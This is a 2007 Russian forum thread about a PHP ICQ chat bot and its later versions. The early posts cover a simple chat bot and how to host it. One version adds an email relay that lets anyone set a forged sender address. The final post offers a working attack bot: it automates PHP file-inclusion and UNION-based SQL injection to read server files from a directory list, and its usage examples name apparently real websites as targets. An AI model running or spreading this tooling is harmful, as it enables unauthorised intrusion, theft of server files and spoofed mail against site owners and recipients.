PDA

Просмотр полной версии : ICQ Bot


NOmeR1
29.03.2007, 22:06
Вот нашёл ICQ бота на PHP, использующего класс WebIcqLite.class.php (http://intrigue.ru/projects/icq/WebIcqLite.class.phps).

<?php
/*Created by Scorpion */
error_reporting (E_ALL);
set_time_limit(0);
ini_set ('max_execution_time', "0");
require_once('WebIcqLite.class.php');
define('UIN', '789012345');// Ваш номер icq
define('PASSWORD', '1ql66aa@');//Ваш пароль

$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}

while($icq->is_connected()){
$msg = $icq->read_message();
switch (strtolower($msg['message'])) {

case 'привет': //сообщение для бота
$icq->send_message($msg['from'], 'Привет Познакомимся?'); //ответ на сообщение для бота
break;

case'да':
$icq->send_message($msg['from'], 'Я ICQ BOT Scorpion');
break;

case'floodme': //сообщение для бота
for($i==0;$i<50;$i++) //50 раз
$icq->send_message($msg['from'],'Ненавижу флудеров'); //это сообщение
exit;
break;

case'quit': //сообщение для бота
$icq->disconnect(); //действие бота (выход)
exit;
break;

default: //если сообщение не содержит команду
$icq->send_message($msg['from'], 'Ты хочешь от меня слишком много, я только учусь?'); //ответ бота
}
flush();
sleep(1);
}
?>

Автор - Scorpion
Взято с http://grabberz.com/showpost.php?p=16492&postcount=1

Как юзать.

Для начала нам надо залить бота на хост. Для этого :
Для бота нужны поддержка сокетов, поэтому регаемся на 1gb.in (http://1gb.in/).
Заливаем на ваш сайт скрипт самого бота, предварительно изменив его, а в той же директории кладём этот скрипт (http://intrigue.ru/projects/icq/WebIcqLite.class.phps) под именем WebIcqLite.class.php.
И теперь просто запускаем скрипт бота. Вуаля! Бот в онлайне.

dimhee
29.03.2007, 22:24
Объясните мне пожалуйста , что этот бот делает ?

Fr-Ron
29.03.2007, 22:49
xzDim

Там же написаны коменты! Бот получает сообщение и отвечает на него.

NOmeR1
29.03.2007, 23:00
Объясните мне пожалуйста , что этот бот делает ?
Это, так сказать, Chat Bot :)

Isis
30.03.2007, 01:42
Вот это баян =\\\\\
Я писал намного лучше...на том же форуме гдето лежит..

LLIepuqo
30.03.2007, 10:56
А где достать самого бота?

Fr-Ron
30.03.2007, 11:10
LLIepuqo

А что тогда тут выожено в 1-ом посте? О_о вбиваешь в скрипт номер, пасс, стартуешь скрипт и твой бот в сети.

MacTep
30.03.2007, 17:42
а как через него посылать многострочные посты?

cardons
30.03.2007, 17:48
а как через него посылать многострочные посты?
Просто меняешь Я ICQ BOT Scorpion на свое что хочешь написать и все.

MacTep
30.03.2007, 18:19
Я мож и тупой, но не настолько)))
Я про другое.
Хочу, чтоб он списочком выводил, типа:

Список команд:
1- пойти нафиг
2- вырубит бота
3- ...

что-то такое... "\n" не работает.

GreenBear
30.03.2007, 18:20
а если я напишу "привет)" то этот супер мега кодер облажаетцо?

MacTep
30.03.2007, 18:21
так зачем писать полное совпадение, как в примере? я пишу через совпадение контрольных частей...))

LLIepuqo
30.03.2007, 18:58
МНе пишет что ошибка в 8 строке...
Вот гляньте: http://www.w3llork.serverok.org/123/index.php

GreenBear
30.03.2007, 19:03
ковычку то поставь =\

LLIepuqo
30.03.2007, 20:22
Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил?
Вот кажется эта строка:
function open($url = array('login.icq.com', 5190))

NOmeR1
30.03.2007, 20:48
Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил?
Вот кажется эта строка:
function open($url = array('login.icq.com', 5190))
Поддержки сокетов нет. Делай как я всё написал (1gb.in).

LLIepuqo
31.03.2007, 21:56
А как сделать приветствующее сообщение? Типо человек добавил бота в контакры, а бот ему выдал приветствие..

vvs777
03.04.2007, 23:18
Боты на php - ацкое зверство.
Мозги себе ипать + глюки искать. И еще с сокетами возиться.
Делфи рулит!

nbd
06.04.2007, 14:36
На диске ][акера за 3-ий месяц есть сорц Icq-bot'а на Делфи, если кому надо и нет диска могу скинуть, пишите в ПМ или Icq: 465-790-267

NOmeR1
10.04.2007, 21:19
Обновлён бот на PHP. Теперь он может отправлять сообщения на мыло. Просто отправляем ему письмо в таком формате otkogo@mail.ru::komy@mail.ru::Тема письма::Содержание письма.
<?php
/*Created by Scorpion */
error_reporting (E_ALL);
set_time_limit(0);
ini_set ('max_execution_time', "0");
require_once('WebIcqLite.class.php');
define('UIN', '?????????');// Ваш номер icq
define('PASSWORD', 'pass');//Ваш пароль

$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}



while($icq->is_connected()){
$msg = $icq->read_message();
if (eregi('admin', $msg['message']))
{
$pass=split(':',$msg['message']);
if(md5($pass[1])=='21232f297a57a5a743894a0e4a801fc3')
{
define('ADMIN', $msg['from']);
$icq->send_message($msg['from'], 'Welcome admin');

}
else
{
$icq->send_message($msg['from'], 'У вас осталось x попыток' );
}
}
if (preg_match('/^\S+@+\S+::\S+@+\S+::[^:]*::/', $msg['message']))
{
$email=split('::',$msg['message']);
@mail($email[1], $email[2], $email[3], 'From:'.$email[0]);
$icq->send_message($msg['from'], 'Ваше письмо для '.$email[1].' отправлено.');
}
else
switch (strtolower($msg['message'])) {

case 'привет':
$icq->send_message($msg['from'], 'Привет Познакомимся?');
break;

case'да':
$icq->send_message($msg['from'], 'Я ICQ BOT Scorpion');
break;

case'floodme':
for($i==0;$i<50;$i++)
$icq->send_message($msg['from'],'Ненавижу флудеров'); //при использовании номер будет забанене на некоторое время
exit;
break;


case'quit':
$icq->disconnect();
exit;
break;

default:
$icq->send_message($msg['from'], 'Ты хочешь от меня слишком много, я только учусь?');
}
flush();
sleep(1);
}
?>

Если кому надо, могу попросить автора сделать некоторые функции.

mad_xakep
12.04.2007, 18:34
а как скрипт бота запускать?

mad_xakep
12.04.2007, 18:48
а нельзя ли на другом сервере разместить кроме этого 1gb.in

Cawabunga
19.04.2007, 06:22
Научите пользоватся(

KPOT_f!nd
19.04.2007, 06:33
а нельзя ли на другом сервере разместить кроме этого 1gb.in
можно просто это холявный софт+ soket там есть(если мну память не изменяет)
Научите пользоватся(
перечитай с 1 страницы, много раз уже писали что и как с ним делать . . .

cb93ka
19.04.2007, 13:12
офф. размещу за 1 в месяц ;)

anarсhist
29.04.2007, 11:37
накидал тут тоже бота простенького (на webicqlite.class.php), попытался прикрутить к нему функцию показа прогноза погоды. чтобы особо не париться с парсингом gismeteo и ему подобных сайтов решил просто отсылать боту gismeteo название города, дожидаться ответа и отсылать запросчику ответ этого бота. но возникла проблема, бот гисметео не присылает ответ, перепробовал кучу других ботов ответ также не приходил... помогите кто чем может.

на счет серверов, можно разместить еще на awardspase.com, но мой бот трагически погиб через 2 недели (удалили гады).

NOmeR1
29.04.2007, 12:01
Научите пользоватся(
Я же всё в первом посте написал.

0-444
30.04.2007, 18:40
http://www.1gb.in/
не нашёл как зарегиться(
все ссылки ведут на главную..(
Где найти хост?

anarсhist
01.05.2007, 00:54
скорее всего временно прекратили регистрацию, жди! :)

0-444
02.05.2007, 22:18
как скрипт запускаеться? а то я никак не пойму(

kirbak
04.05.2007, 15:44
как скрипт запускаеться? а то я никак не пойму(
Браузером :)

0-444
05.05.2007, 13:16
У меня новая фигня, типа всё номано, запустил, первый раз запустил бота он просидел до тайм-аута =), после запускаю он стучиться пару раз в асю и вылетает в браузере выдаёт "UIN blocked, please try again 20 min later" =(

В чём проблема?

anarсhist
05.05.2007, 13:20
видимо слишком много попыток логина =). подожди 20 мин, если не терпится, то зарегай еще один номерок и впиши на время его .

0-444
08.05.2007, 17:00
Цеплял на свой хост(купленый) отказываеться номано работать.

ЦГде взять бессплатный, нормальтный хост для бота?

mr.The
08.05.2007, 17:09
ЦГде взять бессплатный, нормальтный хост для бота?
мой висел на 1gb.in ибо там есть поддержка сокетов

0-444
08.05.2007, 17:12
нельзя зарегиться там

NOmeR1
29.09.2007, 22:52
<?php
error_reporting (E_ALL);
set_time_limit(FALSE);
ignore_user_abort(TRUE);
ini_set('max_execution_time', '0');
require_once('WebIcqLite.class.php');
define('UIN', '123456789'); //Номер бота
define('PASSWORD', 'PASSW0RD'); //Пароль бота
define('ADMIN', '555000'); //Номер админа бота

$icq = new WebIcqLite();

if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}

$icq->send_message(ADMIN, 'Online');

while($icq->is_connected())
{

$msg = $icq->read_message();
$m = strtolower($msg['message']);
$dirs = explode("\n", file_get_contents('dirs.txt'));

if(preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs))
{

$url = $regs[1];
$null = $regs[2];

function phpinj($url, $file, $null)
{

if($null == true)
{
$replace = $file.'%00';
$url_full = str_replace('[php]',urlencode($file).'%00',$url);
}

elseif($null == false)
{
$replace = $file;
$url_full = str_replace('[php]',urlencode($file),$url);
}

$urlOpen = file_get_contents($url_full);

if(preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen))
{
return false;
}

elseif($urlOpen)
{
return str_replace('[php]',$replace,$url);
}

}

if($null == 'true')
{
$null = true;
}

else
{
$null = false;
}

$send = '';

foreach($dirs as $dir)
{

$php_inj = phpinj($url, $dir, $null);

if($php_inj == true)
{
$search = true;
$send .= $php_inj."\n";
}

}

if($search == false)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}

else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}

}

elseif(preg_match("/^!sql-inj\s+'(.+)','(\d+)','(\d+)','(true|false)'$/",$m,$regs))
{

function sqlinj($url, $cols, $kol, $comm, $dir)
{

$one = '-1+union+select+';

for($i=1;$i<=$cols;$i++)
{

if($i != $kol)
{
$one .= $i;
}

else
{
$one .= 'load_file('.$dir.')';
}

if($i != $cols)
{
$one .= ',';
}

}

if($comm)
{
$comm = '/*';
}

else
{
$comm = null;
}

$url = str_replace('[sql]',$one.$comm,$url);
$urlOpen = file_get_contents($url);
$badUrl = file_get_contents(preg_replace('|load_file\((.+)\) |','load_file(0x74657374657374)',$url));

if(substr_count($urlOpen,'You have an error in your SQL syntax.') != '0' || $urlOpen == $badUrl)
{
return false;
}

else
{
return $url;
}

}

if($regs[4] == 'true')
{
$comment = true;
}

else
{
$comment = false;
}

$send = '';

foreach($dirs as $dir)
{

$dir = str_replace('../../../../../../../../../../../..',NULL,$dir);
$sql_inj = sqlinj($regs[1], $regs[2], $regs[3], $comment, '0x'.bin2hex($dir));

if($sql_inj == true)
{
$search = true;
$send .= $sql_inj."\n";
}

}

if($search != true)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}

else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}

}

elseif(preg_match("/!bugtraq\s+'(.+)'/",$m,$regs))
{
$openBugTraq = file_get_contents('http://www.securityfocus.com/swsearch?query='.$regs[1].'&sbm=archive%2F1%2F&submit=Search%21&metaname=alldoc&sort=swishrank');
preg_match_all('|<a href="http://www.securityfocus.com/archive/(\d+)/(\d+)">[\n\s]+(.*)|',$openBugTraq,$array,PREG_SET_ORDER);
$send = '';

foreach($array as $bug)
{
$search = true;
$send .= 'http://www.securityfocus.com/archive/'.$bug[1].'/'.$bug[2].' ['.$bug[3].']'."\n";
}

if($search != true)
{
$icq->send_message($msg['from'], 'Ничего не найдено');
}

else
{
$icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
}

}

elseif($msg['from'] == ADMIN && $m == '!quit')
{
$icq->send_message(ADMIN, 'Offline');
$icq->disconnect();
}

else
{
$icq->send_message($msg['from'], 'Ваша команда не распознана');
}

flush();
sleep(1);

}

?>
Написал небольшого баг-бота, функции:
1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename=[php]','false'
2. !sql-inj 'http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true'
3. !bugtraq 'phpMyAdmin'

Поясню:
1. Эта функция для поиска логов при php-инъекции. Где http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт.
2. Эта функция для поиска логов при sql-инъекции. Где http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет.
3. Ищем баги в двигах.

Файл директорий можете скачать от сюда:
http://webfile.ru/1542459
Он должен быть в одной директории с ботом и называться dirs.txt.

Бот попрежнему работает на WebIcqLite.class